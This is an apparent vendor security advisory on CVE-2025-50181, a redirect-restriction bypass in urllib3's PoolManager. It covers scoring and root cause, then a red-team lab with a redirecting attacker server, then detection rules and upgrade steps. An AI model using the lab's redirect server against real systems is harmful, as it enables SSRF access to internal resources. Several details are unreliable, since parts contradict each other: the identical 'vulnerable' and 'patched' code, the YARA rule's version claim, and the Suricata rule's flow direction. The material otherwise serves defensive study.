CVE-2025-50181
Executive Summary
CVE-2025-50181 is a vulnerability in the urllib3 Python library, a widely used HTTP client. The flaw allows an attacker to bypass redirect restrictions configured at the PoolManager level. By crafting a specific Retry configuration, an attacker can disable redirect handling entirely, making applications that rely on this setting to mitigate Server-Side Request Forgery (SSRF) or Open Redirect attacks vulnerable. The issue is patched in urllib3 version 2.5.0.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the urllib3 Python package, which is a critical dependency for many Python projects, including the popular requests library and AWS SDK botocore. While requests and botocore are not directly vulnerable by default, any application that directly uses urllib3's PoolManager with custom retry configurations to disable redirects is at risk. This highlights the importance of auditing direct dependencies and their configurations, not just high-level libraries.
CVSS Breakdown & Threat Level
- CVSS Score: 5.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
- Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
- Privileges Required (PR): None (N) - No authentication is needed.
- User Interaction (UI): None (N) - The victim does not need to perform any action.
- Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
- Confidentiality (C): None (N) - No data is exposed.
- Integrity (I): Low (L) - An attacker can redirect traffic to a malicious server, potentially leading to data manipulation or credential theft.
- Availability (A): None (N) - The service remains available.
Threat Level: Medium. While the CVSS score is moderate, the potential for SSRF and Open Redirect bypass makes this a significant concern for applications that rely on redirect restrictions as a security control.
Deep Dive & Mechanics
The vulnerability lies in how urllib3 handles the Retry object when passed to a PoolManager. The PoolManager is the core class for managing connection pools and making HTTP requests. It accepts a retries parameter to configure retry behavior, including redirect handling.
In urllib3, redirects are handled as a special type of retry. The Retry class has a redirect attribute that controls the maximum number of redirects to follow. Setting redirect=0 or redirect=False is intended to disable redirects.
However, prior to version 2.5.0, there was a logic flaw. When a Retry object was created with redirect=0 and passed to PoolManager, the library would not properly enforce this setting. Instead, it would treat the Retry object as having no redirect limit, effectively allowing all redirects.
Root Cause: The issue is in the urllib3.util.retry.Retry class's increment method or the PoolManager.urlopen method. When a Retry object with redirect=0 is used, the code fails to check if redirects are disabled before following a redirect response (HTTP 3xx). This allows an attacker to craft a response that redirects the client to an arbitrary URL, bypassing the intended restriction.
Attack Scenario:
- An application uses
PoolManager(retries=Retry(redirect=0))to disable redirects as a security measure against SSRF or Open Redirect. - The application makes a request to a user-controlled URL (e.g.,
http://attacker.com/redirect). - The attacker's server responds with an HTTP 301 or 302 redirect to a malicious internal URL (e.g.,
http://internal-server/admin). - urllib3, due to the bug, follows the redirect, allowing the attacker to access internal resources or perform an Open Redirect attack.
Vulnerable vs. Patched Code
Vulnerable Code (urllib3 < 2.5.0):
from urllib3 import PoolManager, Retry
# Intended to disable redirects
retries = Retry(redirect=0)
http = PoolManager(retries=retries)
# This request will still follow redirects due to the bug
response = http.request('GET', 'http://example.com/redirect')
Patched Code (urllib3 >= 2.5.0):
from urllib3 import PoolManager, Retry
# Correctly disables redirects
retries = Retry(redirect=0)
http = PoolManager(retries=retries)
# This request will NOT follow redirects
response = http.request('GET', 'http://example.com/redirect')
# response.status will be 3xx, and the redirect is not followed
The patch ensures that when redirect=0 is set, the PoolManager correctly refuses to follow any redirect responses.
Exploitation & Lab Setup
Red Team (Attacker)
Objective: Bypass redirect restrictions to perform SSRF or Open Redirect attacks.
Lab Setup:
Attacker Server: Set up a simple HTTP server that returns a 302 redirect to an internal target.
# attacker_server.py from http.server import HTTPServer, BaseHTTPRequestHandler class RedirectHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header('Location', 'http://internal-server/admin') self.end_headers() server = HTTPServer(('0.0.0.0', 8080), RedirectHandler) server.serve_forever()Victim Application: Create a vulnerable Python script that uses urllib3 with redirects disabled.
# vulnerable_app.py from urllib3 import PoolManager, Retry retries = Retry(redirect=0) http = PoolManager(retries=retries) # User-controlled URL user_url = 'http://attacker.com:8080/redirect' response = http.request('GET', user_url) print(f"Status: {response.status}") print(f"Final URL: {response.geturl()}")Exploit: Run the attacker server and then the vulnerable app. The app will follow the redirect to
http://internal-server/admin, demonstrating the bypass.
Blue Team (Defender)
Detection:
- Monitor for unexpected HTTP 3xx responses followed by requests to internal IP addresses or sensitive endpoints.
- Look for urllib3 requests where the
Retryobject hasredirect=0but the request still follows redirects.
Hunting:
- Search logs for patterns where a request to an external URL results in a subsequent request to an internal IP (e.g., 10.x.x.x, 172.16.x.x, 192.168.x.x).
- Use network monitoring to detect unusual redirect chains.
Indicators of Compromise (IOCs)
- Network:
- HTTP requests with a
Locationheader pointing to internal IP addresses (e.g.,10.0.0.1,172.16.0.1,192.168.1.1). - Unexpected 3xx responses from external servers.
- HTTP requests with a
- Application:
- urllib3 version < 2.5.0 in use.
- Code using
PoolManager(retries=Retry(redirect=0))that still follows redirects.
- Logs:
- Log entries showing a request to an external URL followed by a request to an internal URL within a short time frame.
Detection Engineering
YARA Rule
rule CVE_2025_50181_Urllib3_Redirect_Bypass {
meta:
description = "Detects vulnerable urllib3 versions (< 2.5.0) in Python scripts"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-50181"
strings:
$vuln_import = "from urllib3 import" nocase
$retry_redirect = "Retry(redirect=0)" nocase
$pool_manager = "PoolManager" nocase
condition:
$vuln_import and $retry_redirect and $pool_manager
}
Sigma Rule
title: CVE-2025-50181 - Urllib3 Redirect Bypass Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit urllib3 redirect bypass by monitoring for unexpected redirects to internal IPs.
author: Valters IT
date: 2025-04-10
logsource:
category: network_connection
product: suricata
detection:
selection:
dest_ip:
- '10.0.0.0/8'
- '172.16.0.0/12'
- '192.168.0.0/16'
http.response_code: 301|302|303|307|308
condition: selection
falsepositives:
- Legitimate internal redirects
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-50181 - Urllib3 Redirect Bypass - External to Internal Redirect"; flow:to_server; content:"Location"; http_header; pcre:"/Location:\s+https?:\/\/(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)/i"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Action: Upgrade urllib3 to version 2.5.0 or later.
pip install --upgrade urllib3Verify Version:
import urllib3 print(urllib3.__version__)Workaround (if upgrade is not possible):
- Manually handle redirects by checking the response status code and not following redirects.
- Use the
requestslibrary instead, which is not directly vulnerable by default. - Implement additional validation of redirect URLs at the application level.
Long-term:
- Audit all code that uses
PoolManagerwith customRetryobjects. - Implement network segmentation to limit the impact of SSRF attacks.
- Use a Web Application Firewall (WAF) to detect and block malicious redirects.
- Audit all code that uses
Valters IT
Securing Digital Frontiers